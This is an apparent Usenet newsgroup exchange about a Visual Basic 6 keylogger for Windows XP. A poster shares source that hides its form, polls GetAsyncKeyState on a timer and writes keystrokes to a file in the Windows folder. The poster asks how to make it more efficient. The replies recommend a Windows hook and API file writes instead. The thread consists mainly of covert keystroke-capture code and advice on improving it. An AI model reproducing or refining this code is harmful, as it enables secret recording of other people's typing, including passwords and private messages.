Another thing that you need to change is the file printing command, don't
use the VB one, its horribly slow. Use the API for that. Well if you are
concerned about CPU time and the such.

"Christian Blackburn" <Christian_Blackburn@hotmail.com> wrote in message
news:BZxS9.596199$P31.217096@rwcrnsc53...
> Hi Red Hot Dragon,
> > Is this efficient as a keylogger written in vb6.0 sp5 for win xp?
>
> I take it you're a VB 5 user or something?
> I don't think key logging functionality changed one bit between vb 5 and
6.
> They can both call the windows API.  However you should use a Hook
instead.
> I believe there's an example of this at http://www.allapi.net/.
> Good Luck,
> Christian Blackburn
> >
> > Dim result, FileNumber As Integer
> > Dim log As String
> >
> >
> > Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As
> Long)
> > As Integer
> >
> >
> >
> > Private Sub Timer1_Timer()
> >
> > Form1.Visible = False
> >
> > FileNumber = FreeFile
> > For i = 32 To 126
> > result = 0
> > result = GetAsyncKeyState(i)
> >
> >     If result = -32767 Then
> >     Text1.Text = Text1.Text + Chr(i)
> >     log = Text1.Text
> >     Open "C:\Windows\logfilekey.txt" For Output Access Write As
> #FileNumber
> >     Print #FileNumber, log
> >     Close #FileNumber
> >     End If
> > Next i
> >
> > End Sub
> >
> > if not, how would i makw it more so
> >
> >
> >
> >
> >
>
>